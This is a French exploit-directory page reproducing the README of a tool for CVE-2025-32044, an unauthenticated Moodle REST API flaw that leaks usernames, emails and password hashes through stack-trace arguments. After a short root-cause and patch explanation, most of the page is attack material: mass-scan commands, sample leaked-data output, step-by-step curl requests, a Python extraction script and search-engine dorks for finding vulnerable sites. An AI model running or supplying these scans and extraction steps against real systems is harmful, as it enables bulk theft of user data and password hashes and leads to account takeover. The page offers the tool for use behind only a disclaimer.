Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32044 — Moodle 4.5.0-4.5.2 Exposition de données utilisateur via l'API REST non authentifiée par fuite d'arguments de trace de pile | CVSS 7.5 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2025-32044
Cassage de Mots de PasseAnalyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubshinthink/cve-2025-32044

CVE-2025-32044

Moodle 4.5.0-4.5.2 Exposition de données utilisateur via l'API REST non authentifiée par fuite d'arguments de trace de pile | CVSS 7.5

Voir le dépôt
5il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-32044 — Exposition des données utilisateur via l'API REST non authentifiée de Moodle

Fuite des arguments de la trace de pile → Noms, Emails, Hashs de mots de passe


Vue d'ensemble

CVE-2025-32044 est une vulnérabilité de divulgation d'informations de haute sévérité (CVSS 7.5) non authentifiée dans Moodle LMS 4.5.0 à 4.5.2.

La vulnérabilité se trouve dans le gestionnaire d'exceptions de l'API REST de Moodle — exception_response::get_payload_data() dans lib/classes/router/response/exception_response.php. Avant le correctif, les traces de pile PHP avec les arguments des fonctions étaient incluses dans les réponses d'erreur de l'API. Ces arguments contiennent des données utilisateur sensibles transmises via la pile d'appels — y compris les noms d'utilisateur, les noms complets, les adresses email et les hashs de mots de passe.

Aucune authentification, jeton ou interaction utilisateur n'est requis pour déclencher la fuite. L'attaquant doit seulement envoyer une requête malformée à n'importe quel point de terminaison de l'API REST qui provoque une exception interne.

Versions affectées

Version de MoodleStatut
4.5.0 – 4.5.2Vulnérable
4.5.3+Corrigé
< 4.5.0Non affecté
Toutes versions avec zend.exception_ignore_args = OnNon affecté

Découvert par : Lucas Alonso (14 mars 2025)
Tracker Moodle : MDL-84879
Avis : MSA-25-0011


Mécanisme de la vulnérabilité

Cause racine

root@kitploit:~
// lib/classes/router/response/exception_response.php (AVANT correctif)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← inclut 'args'!
    ];
    return $data;
}

Lorsqu'une exception se produit pendant le traitement de l'API REST, la trace de pile PHP inclut les arguments des fonctions (args) pour chaque cadre de la pile d'appels. Ces arguments contiennent par inadvertance des données de la table utilisateur qui étaient en cours de traitement par des fonctions plus haut dans la chaîne d'appels.

Le correctif (Moodle 4.5.3)

root@kitploit:~
// lib/classes/router/response/exception_response.php (APRÈS correctif)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

Plus une défense en profondeur dans lib/setup.php :

root@kitploit:~
ini_set('zend.exception_ignore_args', '1');

Flux d'attaque

root@kitploit:~
1. Cibler Moodle 4.5.0-4.5.2 sans zend.exception_ignore_args
2. Envoyer une requête malformée à /webservice/rest/server.php
   (par ex., core_user_get_users_by_field avec des paramètres obligatoires manquants)
3. Exception interne déclenchée lors du traitement des données utilisateur
4. La réponse d'erreur de l'API inclut la trace de pile avec 'args'
5. Analyser args pour obtenir noms d'utilisateur, emails, hashs

Quelles données sont divulguées


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

Utilisation

root@kitploit:~
# Scan d'une seule cible
python cve_2025_32044.py -t moodle.target.com

# Scan de masse
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Scan de masse avec plus de threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Mode débogage
python cve_2025_32044.py -t moodle.target.com --debug -v

Arguments

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save leaked user data to file
  --threads         Concurrent workers (default: 30)
  --timeout         Request timeout in seconds (default: 10)
  --debug           Show every HTTP request
  -v, --verbose     Verbose output

Preuve de concept

Cible unique

root@kitploit:~
$ python cve_2025_32044.py -t moodle-target.com
root@kitploit:~
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : YES v4.5.1
  WS Enabled : YES
  Token      : obtained (admin)

  ═══ DATA LEAKED ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  Emails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Time       : 3.2s

Scan de masse

root@kitploit:~
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Targets: 500  |  Threads: 30  |  Mode: QUIET

  [LEAK] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5

Exploitation manuelle

Étape 1 — Détecter Moodle + Services Web

root@kitploit:~
# Vérifier si Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Vérifier les services web
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS activé + accès invité possible
# {"error":"Web services must be enabled..."} = WS désactivé

Étape 2 — Obtenir un jeton (si possible)

root@kitploit:~
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'

Étape 3 — Déclencher l'exception et capturer la fuite

root@kitploit:~
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# La réponse contiendra la trace de pile avec args si vulnérable

Étape 4 — Analyser les données divulguées

root@kitploit:~
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

Détection (Shodan / FOFA)

root@kitploit:~
FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"

Impact

Une exploitation réussie permet d'obtenir :

  • Énumération des utilisateurs — liste complète des utilisateurs Moodle
  • Adresses email — hameçonnage, bourrage d'identifiants
  • Hashs de mots de passe — cassage hors ligne → prise de compte
  • Dernières IP de connexion — suivi de localisation des utilisateurs
  • Chaîne : casser le hash → connexion → escalade vers admin → modification de modèle → exécution de code à distance

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.

Ce logiciel est destiné aux professionnels de la sécurité effectuant des tests de pénétration autorisés, aux organisations auditant leur propre infrastructure, et aux chercheurs étudiant l'exploitation des vulnérabilités.

Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.


Références


Ce projet n'est pas affilié à Moodle Pty Ltd.

Télécharger l’outil
ChampSource
Nom d'utilisateurtable user
Nom completfirstname + lastname
Emailcolonne email
Hash du mot de passehash bcrypt $2y$ / $2b$
Dernière IP de connexioncolonne lastip
ID utilisateurcolonne id
RessourceLien
Avis Moodle MSA-25-0011moodle.org
Tracker Moodle MDL-84879tracker.moodle.org
Commit Git (correctif)github.com/moodle/moodle/commit/41917db65e6b
Entrée NVDCVE-2025-32044
DécouvreurLucas Alonso